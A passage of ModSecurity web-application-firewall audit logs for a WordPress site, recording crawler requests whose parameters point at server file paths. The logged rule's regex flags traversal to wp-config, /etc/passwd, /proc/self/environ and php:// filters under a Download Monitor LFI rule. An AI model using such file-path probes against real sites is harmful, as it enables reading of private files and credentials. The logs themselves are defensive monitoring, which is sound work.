\"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/Argentina/Mendoza||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":4044,"p3":0,"p4":0,"p5":382,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:20:54.775781 +0100","transaction_id":"abOClkapybP6n-qLTwuAiAAAAYQ","remote_address":"57.141.20.39","remote_port":56334,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"087a30f67c515e67553a6c050f467fdc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2884671"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"087a30f67c515e67553a6c050f467fdc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":369,"p2":11054,"p3":0,"p4":0,"p5":952,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:21:50.349851 +0100","transaction_id":"abOCzVV-TtdTFIIkipU05gAAAJM","remote_address":"114.119.140.84","remote_port":51590,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/68303251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"da9459e97e4b9869d3f5aacaaab64260","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1870359","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"da9459e97e4b9869d3f5aacaaab64260","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":213,"p2":4154,"p3":0,"p4":0,"p5":329,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:22:19.971034 +0100","transaction_id":"abOC64dmjjYI1SpvwBAwNgAAAAw","remote_address":"57.141.20.12","remote_port":34150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ca/LC_MESSAGES/aspell.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"c357bfeb00acc4e9407c1c51a483fc80","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5244076"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c357bfeb00acc4e9407c1c51a483fc80","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ca/LC_MESSAGES/aspell.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":324,"p2":7197,"p3":0,"p4":0,"p5":422,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:22:44.200924 +0100","transaction_id":"abODA4JMkxuqkfzoMwAwfQAAAdQ","remote_address":"57.141.20.20","remote_port":46232,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/bg/LC_MESSAGES/diffutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"bf4a3b601dc16c824ad42089028f4578","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2720554"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bf4a3b601dc16c824ad42089028f4578","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/bg/LC_MESSAGES/diffutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":283,"p2":5874,"p3":0,"p4":0,"p5":271,"sr":173,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:22:54.671926 +0100","transaction_id":"abODDodmjjYI1SpvwBAwYwAAAAU","remote_address":"57.141.20.41","remote_port":52118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-admin/includes/screen.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"ef5618cd485801655dc9a90a1da5761d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2392231"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ef5618cd485801655dc9a90a1da5761d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/organic-products/\"] [unique_id \"abODDodmjjYI1SpvwBAwYwAAAAU\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":313,"p2":4263,"p3":0,"p4":0,"p5":279,"sr":189,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:23:14.494576 +0100","transaction_id":"abODIlICN_OZQ9wXfc3BFQAAAEo","remote_address":"57.141.20.23","remote_port":41352,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/apps/tfm2/config/bookmarks_extplorer_adminlws.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"4ad9588a9dcf4e703f3122639ebbc174","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4031460"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4ad9588a9dcf4e703f3122639ebbc174","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/apps/tfm2/config/bookmarks_extplorer_adminlws.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":326,"p2":7348,"p3":0,"p4":0,"p5":463,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:23:22.307764 +0100","transaction_id":"abODKYdmjjYI1SpvwBAwkQAAABU","remote_address":"57.141.20.23","remote_port":50118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/var/lib/mibs/ietf/RSVP-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"580c0508af09fe94551594c431b68e33","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5996801"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"580c0508af09fe94551594c431b68e33","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/RSVP-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":6897,"p3":0,"p4":0,"p5":417,"sr":187,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:24:13.622244 +0100","transaction_id":"abODXfgQSd_XQ-U0cJw2-wAAAVg","remote_address":"57.141.20.26","remote_port":59482,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/e/excel62 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"58c3bdab0e166f3380871dfc7026a5ca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1639553"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"58c3bdab0e166f3380871dfc7026a5ca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/e/excel62||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":391,"p2":7588,"p3":0,"p4":0,"p5":428,"sr":225,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:25:20.457859 +0100","transaction_id":"abODoFICN_OZQ9wXfc3CRgAAAEI","remote_address":"57.141.20.20","remote_port":50112,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/fluent-smtp/fluent-smtp.2.2.80.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"b276ee48a9e755cd83243df685b0a329","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3703055"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b276ee48a9e755cd83243df685b0a329","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/fluent-smtp/fluent-smtp.2.2.80.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":10080,"p3":0,"p4":0,"p5":379,"sr":180,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:25:30.644351 +0100","transaction_id":"abODqlICN_OZQ9wXfc3CXAAAAFQ","remote_address":"57.141.20.37","remote_port":38416,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/49/a70560bc4987d87252565fdabca911f981a0e9 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"862168b6a9cce7d8c8cabedc99e4bb91","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2262611"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"862168b6a9cce7d8c8cabedc99e4bb91","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/49/a70560bc4987d87252565fdabca911f981a0e9||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":348,"p2":6356,"p3":0,"p4":0,"p5":437,"sr":145,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:25:34.686121 +0100","transaction_id":"abODrrmW8D9YFg8ovrf08AAAAMQ","remote_address":"57.141.20.48","remote_port":42154,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/p/pe7000c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"ca1e119472a8e496222b61ab95762665","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1181579"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ca1e119472a8e496222b61ab95762665","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/pe7000c||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":248,"p2":8509,"p3":0,"p4":0,"p5":356,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:25:39.411955 +0100","transaction_id":"abODs7mW8D9YFg8ovrf0_wAAAMo","remote_address":"57.141.20.2","remote_port":35238,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/be/LC_MESSAGES/iso_639-5.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"bc7b4f58df2a5240bc29562cda65938a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2982508"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bc7b4f58df2a5240bc29562cda65938a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match 